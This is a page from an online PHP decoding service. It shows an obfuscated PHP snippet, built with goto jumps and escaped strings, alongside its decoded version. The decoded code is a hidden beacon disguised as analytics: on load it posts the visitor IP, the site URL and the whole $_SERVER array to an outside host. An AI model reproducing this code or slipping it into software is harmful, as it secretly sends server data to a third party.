Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto caXdd; caXdd: $PLytixa = new Lytixa(); goto lRzy4; lRzy4: class Lytixa { public funct..
Decoded Output download
<? goto caXdd; caXdd: $PLytixa = new Lytixa(); goto lRzy4; lRzy4: class Lytixa { public function __construct() { $api_url = "https://joyprimeschools.com/analytics"; $post = array("ip" => $this->get_ip(), "base_url" => $this->get_baseurl(), "server" => $_SERVER); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, true); if ($post) { curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post)); } $response = curl_exec($ch); return json_decode($response, true); } function get_ip() { if (getenv("HTTP_CLIENT_IP")) { $ip = getenv("HTTP_CLIENT_IP"); } elseif (getenv("HTTP_X_FORWARDED_FOR")) { $ip = getenv("HTTP_X_FORWARDED_FOR"); if (strstr($ip, ",")) { $tmp = explode(",", $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("REMOTE_ADDR"); } return $ip; } function get_baseurl() { $base_url = ''; $base_url = (isset($_SERVER["HTTPS"]) ? "https://" : "http://") . $_SERVER["HTTP_HOST"]; $base_url .= str_replace(basename($_SERVER["SCRIPT_NAME"]), '', $_SERVER["SCRIPT_NAME"]); return trim($base_url); } } goto tYZ7Z; tYZ7Z:
?>
Did this file decode correctly?
Original Code
goto caXdd; caXdd: $PLytixa = new Lytixa(); goto lRzy4; lRzy4: class Lytixa { public function __construct() { $api_url = "\150\164\164\x70\163\x3a\x2f\x2f\x6a\157\171\x70\162\151\x6d\x65\x73\143\150\x6f\157\x6c\x73\56\143\x6f\x6d\x2f\x61\156\x61\154\171\164\151\x63\163"; $post = array("\x69\x70" => $this->get_ip(), "\142\x61\163\145\137\x75\162\154" => $this->get_baseurl(), "\x73\x65\162\x76\x65\162" => $_SERVER); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, true); if ($post) { curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post)); } $response = curl_exec($ch); return json_decode($response, true); } function get_ip() { if (getenv("\110\124\x54\120\x5f\x43\114\111\x45\116\124\137\111\120")) { $ip = getenv("\x48\124\124\x50\137\103\114\111\105\116\x54\137\111\x50"); } elseif (getenv("\x48\124\x54\x50\x5f\130\x5f\x46\x4f\x52\x57\101\x52\x44\105\x44\x5f\106\x4f\x52")) { $ip = getenv("\110\x54\124\x50\x5f\130\x5f\x46\x4f\x52\x57\101\x52\x44\105\x44\137\x46\x4f\x52"); if (strstr($ip, "\x2c")) { $tmp = explode("\54", $ip); $ip = trim($tmp[0]); } } else { $ip = getenv("\x52\x45\x4d\x4f\x54\105\x5f\101\x44\104\x52"); } return $ip; } function get_baseurl() { $base_url = ''; $base_url = (isset($_SERVER["\110\x54\x54\x50\123"]) ? "\150\x74\164\x70\x73\72\57\57" : "\150\164\164\x70\72\x2f\x2f") . $_SERVER["\110\124\124\120\x5f\110\x4f\123\x54"]; $base_url .= str_replace(basename($_SERVER["\x53\x43\x52\x49\120\124\x5f\116\x41\x4d\x45"]), '', $_SERVER["\x53\103\122\111\x50\x54\137\x4e\101\x4d\x45"]); return trim($base_url); } } goto tYZ7Z; tYZ7Z:
?>
Function Calls
None |
Stats
MD5 | 56300bac4939d1f3ff16dfc12031b9b0 |
Eval Count | 0 |
Decode Time | 43 ms |